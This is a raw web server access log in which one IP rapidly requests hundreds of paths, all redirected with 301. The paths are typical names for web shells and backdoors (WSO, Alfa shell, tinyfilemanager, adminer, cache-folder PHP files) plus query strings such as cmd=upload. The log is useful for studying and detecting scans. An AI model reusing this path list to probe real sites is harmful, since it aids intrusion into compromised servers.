52.138.175.243 - - [18/Apr/2025:07:55:55 -0400] "GET /13.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:55:55 -0400] "GET /1xm.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:55:56 -0400] "GET /2.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:55:57 -0400] "GET /22.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:55:57 -0400] "GET /22.php?p= HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:55:58 -0400] "GET /24.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:55:59 -0400] "GET /2index.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:56:00 -0400] "GET /3index.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:56:00 -0400] "GET /403.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:56:01 -0400] "GET /404.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:56:02 -0400] "GET /4Oj8Ed6N1tu.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:56:03 -0400] "GET /4Q.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:56:03 -0400] "GET /6.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:56:04 -0400] "GET /7.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:56:05 -0400] "GET /WSO.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:56:06 -0400] "GET /a.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:56:07 -0400] "GET /a.php?p= HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:56:07 -0400] "GET /aa.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:56:08 -0400] "GET /aaa.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:56:09 -0400] "GET /ab.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:56:10 -0400] "GET /about.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:56:11 -0400] "GET /about.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:56:12 -0400] "GET /about.php?525 HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:56:13 -0400] "GET /about.php?dir=/home/prsvnvn/ HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:56:14 -0400] "GET /about.php?p= HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:56:14 -0400] "GET /about/function.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:56:15 -0400] "GET /about/function.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:56:16 -0400] "GET /about/function.php?p= HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:56:17 -0400] "GET /access.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:56:17 -0400] "GET /admin HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:56:18 -0400] "GET /admin-footer.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:56:19 -0400] "GET /admin-post.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:56:19 -0400] "GET /admin.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:56:20 -0400] "GET /admin.php/ HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:56:20 -0400] "GET /admin.php7 HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:56:21 -0400] "GET /admin.php?attempt=1 HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:56:21 -0400] "GET /admin.php?debug=on&cmd=upload HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:56:22 -0400] "GET /admin.php?p= HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:56:23 -0400] "GET /admin/ HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:56:23 -0400] "GET /admin//function.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:56:24 -0400] "GET /admin/admin.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:56:24 -0400] "GET /admin/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:56:25 -0400] "GET /admin/controller/extension/extension/ HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:56:25 -0400] "GET /admin/controller/extension/extension/index.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:56:26 -0400] "GET /admin/controller/extension/extension/ultra.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:56:27 -0400] "GET /admin/editor/ HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:56:27 -0400] "GET /admin/fckeditor/editor/filemanager/updates.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:56:28 -0400] "GET /admin/function.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:56:28 -0400] "GET /admin/function.php?p= HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:56:29 -0400] "GET /admin/index_upload.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:56:29 -0400] "GET /admin/upload/css.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:56:30 -0400] "GET /admin/upload/themes-install.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:56:30 -0400] "GET /admin2.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:56:31 -0400] "GET /admin_logs.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:56:31 -0400] "GET /adminer.php?db=stealth HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:56:32 -0400] "GET /adminfuns.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:56:33 -0400] "GET /administrator/templates/bluestork/error.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:56:33 -0400] "GET /administrator/templates/hathor/index.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:56:34 -0400] "GET /administrator/templates/isis/error.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:56:34 -0400] "GET /al.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:56:35 -0400] "GET /alf.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:56:35 -0400] "GET /alfa-rex.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:56:36 -0400] "GET /alfa-rex.php7 HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:56:37 -0400] "GET /alfa.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:56:37 -0400] "GET /alfanew.PHP7 HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:56:38 -0400] "GET /alfanew.PhP7 HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:56:39 -0400] "GET /alfanew.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:56:40 -0400] "GET /alfanew.php7 HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:56:41 -0400] "GET /alfanew2.php7 HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:56:41 -0400] "GET /alfashell.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:56:42 -0400] "GET /ans.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:56:43 -0400] "GET /api.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:56:43 -0400] "GET /api/.config.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:56:44 -0400] "GET /app/wp-content/plugins/fix/ HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:56:44 -0400] "GET /as.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:56:45 -0400] "GET /as/function.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:56:46 -0400] "GET /asasx.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:56:46 -0400] "GET /aspeV9cCZPQ.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:56:47 -0400] "GET /assets/ HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:56:48 -0400] "GET /assets/css/ HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:56:48 -0400] "GET /assets/images/ HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:56:49 -0400] "GET /assets/images//NOFmvAjT.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:56:49 -0400] "GET /assets/images//niil.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:56:50 -0400] "GET /assets/images//scan.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:56:50 -0400] "GET /assets/images/1741753877buyyx.php7 HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:56:51 -0400] "GET /assets/images/28c5400b0b.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:56:52 -0400] "GET /assets/images/doc.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:56:52 -0400] "GET /assets/images/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:56:53 -0400] "GET /assets/index.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:56:53 -0400] "GET /assets/vendor/bootstrap/css/ HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:56:54 -0400] "GET /assets/xp.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:56:54 -0400] "GET /atomlib.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:56:55 -0400] "GET /autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:56:55 -0400] "GET /autoload_classmap.php?p= HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:56:56 -0400] "GET /avaa.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:56:57 -0400] "GET /b.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:56:57 -0400] "GET /b0.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:56:58 -0400] "GET /bQmw.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:56:58 -0400] "GET /backup.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:56:59 -0400] "GET /baindex.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:57:00 -0400] "GET /bak.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:57:00 -0400] "GET /bala.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:57:01 -0400] "GET /baxa1.phP8 HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:57:01 -0400] "GET /bb.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:57:03 -0400] "GET /ben.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:57:03 -0400] "GET /bitrix/admin/htmleditor2/natural.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:57:05 -0400] "GET /blog.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:57:06 -0400] "GET /blog/fw.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:57:06 -0400] "GET /blog/wp-includes/index.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:57:07 -0400] "GET /bob.php?p= HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:57:08 -0400] "GET /brU.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:57:08 -0400] "GET /browse.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:57:09 -0400] "GET /bs1.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:57:10 -0400] "GET /bs1.php?d=2f7777772f3030396437 HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:57:11 -0400] "GET /buy.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:57:11 -0400] "GET /buy.php?p= HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:57:12 -0400] "GET /byp.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:57:12 -0400] "GET /bypass.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:57:13 -0400] "GET /c.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:57:14 -0400] "GET /cZkmtUnJVfi.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:57:14 -0400] "GET /cache/b/c/e/b/mdtcshwavxn.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:57:15 -0400] "GET /cache/d/d/b/d/zwdlhkfyupn.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:57:15 -0400] "GET /cache/d/h/d/f/ukstnfjlbov.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:57:16 -0400] "GET /cache/e/e/e/b/abkiszpjdfx.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:57:16 -0400] "GET /cache/g/a/d/b/qtrxajmpgek.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:57:17 -0400] "GET /cache/g/c/h/b/tfuoqlvyakp.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:57:17 -0400] "GET /cc.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:57:18 -0400] "GET /cd.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:57:19 -0400] "GET /cgi-bin/ HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:57:19 -0400] "GET /cgi-bin/about.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:57:20 -0400] "GET /cgi-bin/admin.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:57:20 -0400] "GET /cgi-bin/b.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:57:21 -0400] "GET /cgi-bin/bak.php?p= HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:57:22 -0400] "GET /cgi-bin/cgi-bin/about.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:57:22 -0400] "GET /cgi-bin/cloud.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:57:23 -0400] "GET /cgi-bin/file.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:57:23 -0400] "GET /cgi-bin/head.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:57:24 -0400] "GET /cgi-bin/index.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:57:25 -0400] "GET /cgi-bin/index.php?p= HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:57:25 -0400] "GET /cgi-bin/index.php?p=&upload HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:57:26 -0400] "GET /cgi-bin/moon.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:57:26 -0400] "GET /cgi-bin/users.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:57:27 -0400] "GET /cgi-bin/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:57:27 -0400] "GET /cgi-bin/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:57:28 -0400] "GET /chosen HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:57:29 -0400] "GET /chosen.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:57:29 -0400] "GET /chosen.php?p= HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:57:30 -0400] "GET /chosen/ HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:57:30 -0400] "GET /chosen?p= HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:57:31 -0400] "GET /cjfuns.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:57:32 -0400] "GET /class-php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:57:32 -0400] "GET /class-wp-lock.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:57:33 -0400] "GET /class.api.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:57:33 -0400] "GET /class.api.php?p= HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:57:34 -0400] "GET /classsmtps.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:57:34 -0400] "GET /classwithtostring.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:57:35 -0400] "GET /classwithtostring.php/rbzccnnp.php/ HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:57:36 -0400] "GET /classwithtostring.php?p= HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:57:37 -0400] "GET /click.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:57:37 -0400] "GET /click.php?p= HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:57:38 -0400] "GET /cloud.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:57:39 -0400] "GET /cms.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:57:40 -0400] "GET /comment.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:57:41 -0400] "GET /components/ HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:57:42 -0400] "GET /conf_upload.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:57:42 -0400] "GET /config.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:57:43 -0400] "GET /config.php7 HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:57:44 -0400] "GET /configs.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:57:44 -0400] "GET /cong.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:57:45 -0400] "GET /cong.php?p= HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:57:45 -0400] "GET /contact.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:57:46 -0400] "GET /contacts.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:57:47 -0400] "GET /content.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:57:47 -0400] "GET /content.php888 HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:57:48 -0400] "GET /cpouchon/ORTHOSKIM HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:57:49 -0400] "GET /css.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:57:49 -0400] "GET /css.php/cloud.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:57:50 -0400] "GET /css.php?p= HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:57:51 -0400] "GET /css/.tmp/ HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:57:51 -0400] "GET /css/ALFA_DATA/alfacgiapi/perl.alfa.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:57:52 -0400] "GET /css/admin.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:57:52 -0400] "GET /css/cloud.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:57:53 -0400] "GET /css/cong.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:57:53 -0400] "GET /css/default.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:57:54 -0400] "GET /css/index.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:57:55 -0400] "GET /css/nop.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:57:55 -0400] "GET /css/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:57:56 -0400] "GET /csv.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:57:56 -0400] "GET /custom-background.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:57:57 -0400] "GET /cux.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:57:57 -0400] "GET /d.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:57:58 -0400] "GET /d8Q4AflCtoJ.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:57:58 -0400] "GET /data.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:57:59 -0400] "GET /data/.backup.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:58:00 -0400] "GET /db.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:58:00 -0400] "GET /defaul1.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:58:01 -0400] "GET /default.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:58:01 -0400] "GET /defaults.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:58:02 -0400] "GET /dg6Umx2OrVh.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:58:02 -0400] "GET /doc.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:58:03 -0400] "GET /dropdown.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:58:03 -0400] "GET /dropdown.php?p= HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:58:04 -0400] "GET /ds.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:58:05 -0400] "GET /e.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:58:05 -0400] "GET /eVhyNnBmDl4.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:58:06 -0400] "GET /ecoraiderusa.com/cong.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:58:06 -0400] "GET /edit.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:58:07 -0400] "GET /edit.php?p= HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:58:08 -0400] "GET /ee.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:58:08 -0400] "GET /epinyins.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:58:09 -0400] "GET /erin1.PhP7 HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:58:10 -0400] "GET /error.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:58:10 -0400] "GET /error.php?p= HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:58:11 -0400] "GET /es-ar//wp-content/admin.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:58:11 -0400] "GET /exploits7.my.id HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:58:12 -0400] "GET /f.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:58:12 -0400] "GET /f35.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:58:13 -0400] "GET /f8P2t5IOcAq.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:58:14 -0400] "GET /favicon.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:58:14 -0400] "GET /feed/atom/ HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:58:15 -0400] "GET /fex.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:58:15 -0400] "GET /file-manager.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:58:16 -0400] "GET /file.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:58:16 -0400] "GET /file.php?p= HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:58:17 -0400] "GET /file2.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:58:17 -0400] "GET /filemanager.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:58:18 -0400] "GET /filemanager.php?p= HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:58:19 -0400] "GET /filemanager/dialog.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:58:19 -0400] "GET /files.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:58:20 -0400] "GET /files/ HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:58:20 -0400] "GET /files//tinyfilemanager.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:58:21 -0400] "GET /files/ALFA_DATA/alfacgiapi/perl.alfa.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:58:21 -0400] "GET /files/index.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:58:22 -0400] "GET /files/log.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:58:23 -0400] "GET /fkHOiaRx2.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:58:23 -0400] "GET /flower.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:58:24 -0400] "GET /fm.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:58:24 -0400] "GET /fm.php?p= HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:58:25 -0400] "GET /fm1.php HTTP/1.1" 301 795 